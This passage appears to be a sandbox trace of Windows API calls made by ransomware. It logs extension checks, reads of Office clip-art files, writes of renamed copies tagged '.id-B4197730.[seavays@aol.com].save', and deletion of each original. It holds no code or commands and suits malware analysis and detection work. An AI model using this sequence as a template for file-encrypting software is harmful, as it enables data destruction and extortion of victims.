lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.725] lstrlenW (lpString=".7z") returned 3 [0170.725] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68 [0170.726] lstrlenW (lpString=".dbf") returned 4 [0170.726] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68 [0170.726] lstrlenW (lpString=".1cd") returned 4 [0170.726] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68 [0170.726] lstrlenW (lpString=".jpg") returned 4 [0170.726] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.726] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0170.726] lstrlenW (lpString="J0106124.WMF") returned 12 [0170.726] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106124.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0170.727] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x29eff14 | out: lpFileSize=0x29eff14*=5812) returned 1 [0170.727] CloseHandle (hObject=0x528) returned 1 [0170.727] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106124.wmf")) returned 0x220 [0170.728] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106124.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0170.728] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106124.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0170.728] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0170.728] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0170.728] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106124.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0170.730] GetLastError () returned 0x0 [0170.730] ReadFile (in: hFile=0x528, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x16b4, lpOverlapped=0x0) returned 1 [0170.755] WriteFile (in: hFile=0x51c, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0x16c0, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0x16c0, lpOverlapped=0x0) returned 1 [0170.756] ReadFile (in: hFile=0x528, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x0, lpOverlapped=0x0) returned 1 [0170.757] WriteFile (in: hFile=0x51c, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0xec, lpOverlapped=0x0) returned 1 [0170.757] SetEndOfFile (hFile=0x51c) returned 1 [0170.757] CloseHandle (hObject=0x51c) returned 1 [0170.757] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0170.757] SetEndOfFile (hFile=0x528) returned 1 [0170.761] CloseHandle (hObject=0x528) returned 1 [0170.761] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0170.762] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106124.wmf")) returned 1 [0170.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68 [0170.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68 [0170.763] lstrlenW (lpString=".doc") returned 4 [0170.763] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.763] lstrlenW (lpString=".docx") returned 5 [0170.764] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0170.764] lstrlenW (lpString=".pdf") returned 4 [0170.764] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.764] lstrlenW (lpString=".xls") returned 4 [0170.764] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.764] lstrlenW (lpString=".xlsx") returned 5 [0170.764] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0170.764] lstrlenW (lpString=".ppt") returned 4 [0170.764] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68 [0170.764] lstrlenW (lpString=".zip") returned 4 [0170.764] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.764] lstrlenW (lpString=".rar") returned 4 [0170.764] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.764] lstrlenW (lpString=".bz2") returned 4 [0170.764] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.764] lstrlenW (lpString=".7z") returned 3 [0170.764] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68 [0170.764] lstrlenW (lpString=".dbf") returned 4 [0170.764] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68 [0170.764] lstrlenW (lpString=".1cd") returned 4 [0170.764] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68 [0170.764] lstrlenW (lpString=".jpg") returned 4 [0170.764] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68 [0170.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68 [0170.765] lstrlenW (lpString=".doc") returned 4 [0170.765] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.765] lstrlenW (lpString=".docx") returned 5 [0170.765] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0170.765] lstrlenW (lpString=".pdf") returned 4 [0170.765] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.765] lstrlenW (lpString=".xls") returned 4 [0170.765] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.765] lstrlenW (lpString=".xlsx") returned 5 [0170.765] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0170.765] lstrlenW (lpString=".ppt") returned 4 [0170.765] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68 [0170.765] lstrlenW (lpString=".zip") returned 4 [0170.765] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.765] lstrlenW (lpString=".rar") returned 4 [0170.765] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.765] lstrlenW (lpString=".bz2") returned 4 [0170.765] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.765] lstrlenW (lpString=".7z") returned 3 [0170.765] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68 [0170.765] lstrlenW (lpString=".dbf") returned 4 [0170.765] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68 [0170.766] lstrlenW (lpString=".1cd") returned 4 [0170.766] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68 [0170.766] lstrlenW (lpString=".jpg") returned 4 [0170.766] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.766] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0170.766] lstrlenW (lpString="J0106222.WMF") returned 12 [0170.766] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106222.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434 [0170.938] GetFileSizeEx (in: hFile=0x434, lpFileSize=0x29eff14 | out: lpFileSize=0x29eff14*=19600) returned 1 [0170.938] CloseHandle (hObject=0x434) returned 1 [0170.939] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106222.wmf")) returned 0x220 [0170.939] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106222.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0170.939] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106222.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434 [0170.940] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0170.940] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0170.940] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106222.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0170.941] GetLastError () returned 0x0 [0170.941] ReadFile (in: hFile=0x434, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x4c90, lpOverlapped=0x0) returned 1 [0170.943] WriteFile (in: hFile=0x528, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0x4ca0, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0x4ca0, lpOverlapped=0x0) returned 1 [0170.944] ReadFile (in: hFile=0x434, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x0, lpOverlapped=0x0) returned 1 [0170.944] WriteFile (in: hFile=0x528, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0xec, lpOverlapped=0x0) returned 1 [0170.944] SetEndOfFile (hFile=0x528) returned 1 [0170.944] CloseHandle (hObject=0x528) returned 1 [0170.944] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0170.944] SetEndOfFile (hFile=0x434) returned 1 [0170.947] CloseHandle (hObject=0x434) returned 1 [0170.947] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0170.948] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106222.wmf")) returned 1 [0170.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68 [0170.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68 [0170.949] lstrlenW (lpString=".doc") returned 4 [0170.949] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.949] lstrlenW (lpString=".docx") returned 5 [0170.949] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0170.949] lstrlenW (lpString=".pdf") returned 4 [0170.949] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.949] lstrlenW (lpString=".xls") returned 4 [0170.949] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.949] lstrlenW (lpString=".xlsx") returned 5 [0170.949] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0170.949] lstrlenW (lpString=".ppt") returned 4 [0170.949] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68 [0170.949] lstrlenW (lpString=".zip") returned 4 [0170.949] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.949] lstrlenW (lpString=".rar") returned 4 [0170.949] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.949] lstrlenW (lpString=".bz2") returned 4 [0170.949] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.949] lstrlenW (lpString=".7z") returned 3 [0170.950] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68 [0170.950] lstrlenW (lpString=".dbf") returned 4 [0170.950] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68 [0170.950] lstrlenW (lpString=".1cd") returned 4 [0170.950] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68 [0170.950] lstrlenW (lpString=".jpg") returned 4 [0170.950] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68 [0170.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68 [0170.950] lstrlenW (lpString=".doc") returned 4 [0170.950] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.950] lstrlenW (lpString=".docx") returned 5 [0170.950] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0170.950] lstrlenW (lpString=".pdf") returned 4 [0170.950] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.950] lstrlenW (lpString=".xls") returned 4 [0170.950] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.950] lstrlenW (lpString=".xlsx") returned 5 [0170.950] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0170.950] lstrlenW (lpString=".ppt") returned 4 [0170.950] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68 [0170.950] lstrlenW (lpString=".zip") returned 4 [0170.950] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.950] lstrlenW (lpString=".rar") returned 4 [0170.951] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.951] lstrlenW (lpString=".bz2") returned 4 [0170.951] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.951] lstrlenW (lpString=".7z") returned 3 [0170.951] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68 [0170.951] lstrlenW (lpString=".dbf") returned 4 [0170.951] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68 [0170.951] lstrlenW (lpString=".1cd") returned 4 [0170.951] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68 [0170.951] lstrlenW (lpString=".jpg") returned 4 [0170.951] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.951] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0170.951] lstrlenW (lpString="J0106958.WMF") returned 12 [0170.951] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106958.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434 [0170.952] GetFileSizeEx (in: hFile=0x434, lpFileSize=0x29eff14 | out: lpFileSize=0x29eff14*=13784) returned 1 [0170.952] CloseHandle (hObject=0x434) returned 1 [0170.952] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106958.wmf")) returned 0x220 [0170.952] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106958.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0170.952] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106958.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434 [0170.953] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0170.953] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0170.953] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106958.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0170.954] GetLastError () returned 0x0 [0170.954] ReadFile (in: hFile=0x434, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x35d8, lpOverlapped=0x0) returned 1 [0170.956] WriteFile (in: hFile=0x528, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0x35e0, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0x35e0, lpOverlapped=0x0) returned 1 [0170.957] ReadFile (in: hFile=0x434, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x0, lpOverlapped=0x0) returned 1 [0170.957] WriteFile (in: hFile=0x528, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0xec, lpOverlapped=0x0) returned 1 [0170.957] SetEndOfFile (hFile=0x528) returned 1 [0170.958] CloseHandle (hObject=0x528) returned 1 [0170.958] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0170.958] SetEndOfFile (hFile=0x434) returned 1 [0170.960] CloseHandle (hObject=0x434) returned 1 [0170.961] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0170.961] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106958.wmf")) returned 1 [0170.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF") returned 68 [0170.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF") returned 68 [0170.962] lstrlenW (lpString=".doc") returned 4 [0170.962] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.962] lstrlenW (lpString=".docx") returned 5 [0170.962] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0170.962] lstrlenW (lpString=".pdf") returned 4 [0170.962] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.962] lstrlenW (lpString=".xls") returned 4 [0170.962] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.962] lstrlenW (lpString=".xlsx") returned 5 [0170.962] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0170.962] lstrlenW (lpString=".ppt") returned 4 [0170.962] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF") returned 68 [0170.962] lstrlenW (lpString=".zip") returned 4 [0170.962] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.962] lstrlenW (lpString=".rar") returned 4 [0170.962] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.962] lstrlenW (lpString=".bz2") returned 4 [0170.962] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.962] lstrlenW (lpString=".7z") returned 3 [0170.962] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF") returned 68 [0170.962] lstrlenW (lpString=".dbf") returned 4 [0170.962] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF") returned 68 [0170.963] lstrlenW (lpString=".1cd") returned 4 [0170.963] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF") returned 68 [0170.963] lstrlenW (lpString=".jpg") returned 4 [0170.963] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF") returned 68 [0170.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF") returned 68 [0170.963] lstrlenW (lpString=".doc") returned 4 [0170.963] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.963] lstrlenW (lpString=".docx") returned 5 [0170.963] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0170.963] lstrlenW (lpString=".pdf") returned 4 [0170.963] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.963] lstrlenW (lpString=".xls") returned 4 [0170.963] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.963] lstrlenW (lpString=".xlsx") returned 5 [0170.963] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0170.963] lstrlenW (lpString=".ppt") returned 4 [0170.963] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF") returned 68 [0170.963] lstrlenW (lpString=".zip") returned 4 [0170.963] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.963] lstrlenW (lpString=".rar") returned 4 [0170.963] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.963] lstrlenW (lpString=".bz2") returned 4 [0170.963] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.963] lstrlenW (lpString=".7z") returned 3 [0170.963] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF") returned 68 [0170.963] lstrlenW (lpString=".dbf") returned 4 [0170.963] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF") returned 68 [0170.963] lstrlenW (lpString=".1cd") returned 4 [0170.964] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF") returned 68 [0170.964] lstrlenW (lpString=".jpg") returned 4 